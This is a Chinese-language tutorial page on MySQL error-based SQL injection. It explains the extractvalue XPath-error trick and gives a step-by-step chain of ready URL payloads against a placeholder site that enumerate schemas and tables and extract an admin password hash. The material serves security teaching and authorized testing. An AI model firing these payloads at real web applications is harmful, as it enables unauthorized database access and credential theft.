news 2026/8/2 6:41:14

5-数据库-SQL注入-报错注入-day13

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
5-数据库-SQL注入-报错注入-day13

MySQL 报错注入 — 原理与注入流程

⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究,严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规,因不当使用本文知识造成的后果自负。

📋 目录导航

  • 一、报错注入的本质原理
  • 二、前置条件:错误回显方式
  • 三、报错注入完整流程
  • 四、报错注入 vs 联合查询注入对比
  • 五、报错注入的局限性

本文档系统讲解报错注入的核心原理、前置条件、完整注入流程及实战注意事项。适用于安全研究和授权测试。


一、报错注入的本质原理

报错注入的本质是:故意调用一个"对参数有严格要求"的 MySQL 函数,把想窃取的数据拼进那个"会触发错误的参数"里,让 MySQL 在报错信息中把数据带回页面。

1.1 正常查询 vs 报错注入

正常查询的数据流:

用户输入 → 拼接进SQL → MySQL执行 → 结果集返回 → 页面展示数据

联合查询注入依赖"回显位"——页面必须把查询结果打印出来。但如果页面不展示查询结果,只展示错误信息呢?联合查询就失效了,而报错注入正是在这种场景下发挥作用。

报错注入的数据流:

用户输入(含恶意函数) → 拼接进SQL → MySQL执行报错 → 错误信息中携带数据 → 页面展示错误

1.2 报错注入的核心三步

整个攻击可以拆解为三步:

  1. 找到注入点:确认用户输入能被拼接到 SQL 语句中执行
  2. 构造报错函数调用:在原语句的参数位置嵌入报错函数(如extractvalueupdatexml),把目标数据塞进报错函数的参数
  3. 从错误信息中提取数据:MySQL 报错时会把非法参数的内容原样显示在错误信息中

1.3 一个最小示例

-- 假设原SQL语句为:SELECT*FROMusersWHEREid='$id'-- 正常请求:?id=1-- SQL: SELECT * FROM users WHERE id = '1'-- 报错注入请求:?id=1' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))--+ -- 实际执行的SQL: SELECT * FROM users WHERE id = '1' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- '

执行结果

ERROR 1105 (HY000): XPATH syntax error: '~8.0.28~'

MySQL 在报错信息中原样输出了~8.0.28~,其中8.0.28就是version()的返回值。0x7e~的十六进制,用作数据标识符,方便从错误信息中定位提取。

1.4 报错注入的原理拆解

extractvalue()为例,深入理解原理:

extractvalue(xml_document, xpath_string)函数的设计用途是从 XML 文档中提取 XPath 指定位置的值。第二个参数必须是合法的 XPath 路径表达式。当传入非法 XPath 时,MySQL 会报错并把"非法的 XPath 字符串"原样显示在错误信息中。

-- 正常用途:从XML中提取值SELECTextractvalue('<a><b>hello</b></a>','/a/b/text()');-- 结果:hello-- 注入用途:第二个参数传非法XPath,触发报错SELECTextractvalue(1,concat(0x7e,(SELECTuser()),0x7e));-- 结果:ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

攻击者利用的正是"错误信息会原样回显参数内容"这一特性。通过concat()~+ 目标数据 +~拼成非法 XPath,MySQL 就会在报错时把数据带出来。

┌──────────────────────────────────────────────────────────┐ │ 报错注入原理图 │ ├──────────────────────────────────────────────────────────┤ │ │ │ 攻击者构造的Payload: │ │ extractvalue(1, concat(0x7e, (SELECT password │ │ FROM users LIMIT 0,1), 0x7e)) │ │ │ │ ┌──────────┐ ┌───────────┐ ┌──────────┐ │ │ │ concat() │───▶│ 拼接结果 │───▶│ 非法XPath│ │ │ └──────────┘ │~5f4dcc3..~│ └────┬─────┘ │ │ └───────────┘ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ MySQL报错 │ │ │ │ XPATH error │ │ │ │ ~5f4dcc3..~ │ │ │ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ 页面错误回显 │ │ │ │ 攻击者读取 │ │ │ └─────────────┘ │ │ │ └──────────────────────────────────────────────────────────┘

二、前置条件:错误回显方式

报错注入能成功的前提条件是:页面必须把 MySQL 的错误信息显示出来。根据后端错误处理机制的不同,错误回显分为四种情况:

错误回显方式说明报错注入可行性
完整错误显示详细错误信息(如XPATH syntax error: '~data~'✅ 最佳,报错注入首选
简略错误只显示错误代码(如Error: 1105⚠️ 无法直接获取数据
自定义错误应用自定义的错误页面(如"系统繁忙")❌ 报错注入无效
无错误完全不显示任何错误信息❌ 报错注入无效

2.1 PHP 中的错误处理模式

// 模式1:完整错误回显(报错注入可利用)$conn=mysqli_connect("localhost","root","password","shop_db");$result=mysqli_query($conn,$sql);if(!$result){// 直接输出MySQL错误信息——报错注入可利用echo"Error: ".mysqli_error($conn);}// 模式2:简略错误(不可利用)if(!$result){echo"Error: ".mysqli_errno($conn);// 只输出错误号}// 模式3:自定义错误(不可利用)if(!$result){echo"系统繁忙,请稍后重试";// 自定义消息}// 模式4:静默错误(不可利用)if(!$result){// 不输出任何信息,错误只写日志error_log(mysqli_error($conn));}

2.2 判断目标是否支持报错注入

发送一个简单的报错测试 Payload,观察页面响应:

-- 测试Payload(不携带敏感数据,仅验证报错回显)?id=1'ANDextractvalue(1,concat(0x7e,1,0x7e))--+

如果页面出现类似XPATH syntax error: '~1~'的错误信息,说明目标支持报错注入。如果只显示通用错误页面或无任何输出,则需要切换到盲注。


三、报错注入完整流程

发现注入点 → 确认错误回显 → 判断闭合方式 → 探测版本选函数 → 获取基础信息 → 枚举库/表/列 → 拖取数据

Step 1:发现注入点

与联合查询注入相同,首先确认用户输入能被拼接到 SQL 语句中执行。

-- 测试单引号 http://target.com/news.php?id=1' -- 如果报错 "You have an error in your SQL syntax..." → 存在注入 -- 测试逻辑真假 http://target.com/news.php?id=1 AND 1=1--+ -- 页面正常 http://target.com/news.php?id=1 AND 1=2--+ -- 页面异常/空

Step 2:确认错误回显方式

发送报错测试 Payload,确认页面是否回显 MySQL 错误信息:

http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, 1, 0x7e))--+
页面响应判断
显示XPATH syntax error: '~1~'✅ 完整错误回显,可报错注入
显示Error: 1105⚠️ 简略错误,需换函数或换注入方式
显示 “系统繁忙”❌ 自定义错误,报错注入无效
页面无变化❌ 无错误回显,需盲注

Step 3:判断闭合方式

与联合查询注入完全相同,通过加引号或括号测试闭合方式。

-- 数字型 http://target.com/news.php?id=1 AND 1=1--+ -- 正常 http://target.com/news.php?id=1 AND 1=2--+ -- 异常 -- 单引号型 http://target.com/news.php?id=1' AND 1=1--+ -- 正常 http://target.com/news.php?id=1' AND 1=2--+ -- 异常 -- 单引号+括号型 http://target.com/news.php?id=1') AND 1=1--+ -- 正常

报错注入与联合查询的闭合差异:报错注入不需要让原查询返回空,不需要负 ID 或AND 1=2。因为报错注入的数据不是通过查询结果回显的,而是通过错误信息回显的。原查询返回什么数据不影响报错信息的输出。

Step 4:探测版本,选择报错函数

报错注入的第一条 Payload 应该是探测版本——这决定了后续使用哪些报错函数。

-- 用 extractvalue 探版本(一石二鸟:既验证函数可用性,又获取版本号) http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, version(), 0x7e))--+

预期结果

XPATH syntax error: '~5.7.28~'

拿到版本号后,按以下决策树选择报错函数:

version() 返回 5.0 及以下 → floor(rand(0)*2) + count() + group by(可用但构造繁琐) → extractvalue / updatexml 不可用(5.1之前未引入) version() 返回 5.1 - 5.7 → extractvalue() / updatexml()(首选,简单稳定) → 备选:floor(rand(0)*2)、几何函数、exp() version() 返回 8.0.0 - 8.0.27 → 先试 extractvalue() / updatexml() → 失败则切到几何函数(multipoint / geometrycollection) version() 返回 8.0.28+ → extractvalue() / updatexml() 大概率被禁 → 几何函数是首选 → floor(rand()) 已失效 → 准备布尔盲注 / 时间盲注作为保底

Step 5:获取基础信息

确认函数可用后,获取数据库指纹信息:

-- 获取数据库名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--+ -- 结果:XPATH syntax error: '~shop_db~' -- 获取当前用户 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, user(), 0x7e))--+ -- 结果:XPATH syntax error: '~root@localhost~' -- 获取操作系统 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, @@version_compile_os, 0x7e))--+ -- 结果:XPATH syntax error: '~Linux~'

Step 6:枚举库/表/列

利用information_schema系统库枚举数据库结构。报错注入与联合查询在枚举逻辑上完全相同,区别仅在于数据是通过错误信息回显的。

-- 获取所有数据库名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 0x7e))--+ -- 结果:XPATH syntax error: '~information_schema,shop_db,mysql~' -- 获取当前库的所有表名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))--+ -- 结果:XPATH syntax error: '~users,products,orders,config~' -- 获取 users 表的所有列名 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'), 0x7e))--+ -- 结果:XPATH syntax error: '~id,username,password,email,created~' -- 注意:32字符截断,可能只返回部分列名

Step 7:拖取数据

从目标表中提取敏感数据:

-- 获取 admin 用户名和密码 http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, (SELECT CONCAT(username, ':', password) FROM users WHERE username='admin' LIMIT 0,1), 0x7e))--+ -- 结果:XPATH syntax error: '~admin:5f4dcc3b5aa765d61d8327~' -- 长数据分段提取(32字符限制) http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1), 1, 30), 0x7e))--+ -- 结果:XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf~' http://target.com/news.php?id=1' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1), 31, 30), 0x7e))--+ -- 结果:XPATH syntax error: '~99~' -- 拼接完整密码:5f4dcc3b5aa765d61d8327deb882cf99

四、报错注入 vs 联合查询注入对比

对比维度联合查询注入报错注入
前提条件页面有查询结果回显位页面有错误信息回显
需要判断列数✅ 必须(ORDER BY 探测)❌ 不需要
需要找回显位✅ 必须(负 ID 法等)❌ 不需要
需要让原查询为空✅ 必须(id=-1 或 AND 1=2)❌ 不需要
数据回显方式查询结果集中回显错误信息中回显
数据长度限制GROUP_CONCAT 1024字节extractvalue/updatexml 32字符;floor/几何函数无限制
适用页面类型有数据展示位的页面有错误信息展示的页面
复杂度中等(多步探测)较低(闭合→函数→数据)

核心区别:联合查询注入需要页面有"正常数据展示位",报错注入只需要页面有"错误信息展示"。两者互补——如果页面既显示数据又显示错误,两种方法都可以用;如果页面只显示错误不显示数据,只能用报错注入;如果两者都不显示,只能用盲注。


五、报错注入的局限性

  1. 依赖错误回显:如果应用层屏蔽了数据库错误(生产环境最佳实践),报错注入完全失效

  2. 32 字符限制extractvalue()updatexml()的报错回显最多 32 字符,长数据必须用SUBSTR()分段提取,增加请求次数

  3. 版本依赖性强:不同 MySQL 版本下函数可用性差异大,8.0+ 对报错注入极不友好

  4. WAF 拦截:报错函数名(extractvalueupdatexml)和information_schema是 WAF 重点拦截对象

  5. 噪音大:报错注入会在数据库日志中留下大量错误记录,容易被运维发现


⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究,严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规,因不当使用本文知识造成的后果自负。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/2 6:40:15

电工证学习笔记(三)

电工证 一、触电安全核心考点 人体触电电流参考值&#xff08;均为统计平均值&#xff0c;个体存在差异&#xff09; 50mA&#xff1a;公认致命电流&#xff1b;30mA&#xff1a;容易引发心室颤动、心肺功能停止&#xff1b; 部分人群耐受度高&#xff0c;部分人群低于30mA即出…

作者头像 李华
网站建设 2026/8/2 6:39:20

麻将AI开发实战:从规则引擎到强化学习的避坑指南

1. 项目概述&#xff1a;当AI牌手遇上麻将桌 麻将&#xff0c;这项风靡全球的策略游戏&#xff0c;如今正迎来一位全新的“牌友”——MahjongAI。作为一名长期混迹于AI与游戏交叉领域的开发者&#xff0c;我亲眼见证了从简单的规则引擎到如今能进行复杂策略博弈的AI牌手的进化…

作者头像 李华
网站建设 2026/8/2 6:37:07

VMware虚拟机单盘多开:差分磁盘技术实现资源复用与敏捷部署

1. 项目概述与核心价值“虚拟机单盘多开”这个需求&#xff0c;乍一听有点技术黑话的味道&#xff0c;但说白了&#xff0c;就是想让多个虚拟机实例同时运行&#xff0c;并且它们都共用同一个虚拟磁盘文件。这和我们平时一台虚拟机独占一个vmdk文件&#xff08;VMware的虚拟磁盘…

作者头像 李华
网站建设 2026/8/2 6:35:48

Notability更新失败全解析:六步诊断法彻底解决iOS应用卡版本问题

1. 一个资深用户的困惑&#xff1a;为什么我的Notability总“卡”在旧版本&#xff1f;作为一名深度依赖Notability进行笔记、批注和知识管理的用户&#xff0c;我几乎每天都会打开它。但不知道你有没有遇到过这种情况&#xff1a;App Store里明明显示Notability有更新&#xf…

作者头像 李华
网站建设 2026/8/2 6:33:01

Kali Linux虚拟机安装与配置全攻略:从零搭建渗透测试环境

1. 项目概述&#xff1a;为什么是Kali Linux&#xff1f;如果你对网络安全、渗透测试或者“白帽子”这个职业感兴趣&#xff0c;那么Kali Linux这个名字你一定不陌生。它不是一个普通的Linux发行版&#xff0c;而是一个为专业安全测试人员量身定制的“武器库”。想象一下&#…

作者头像 李华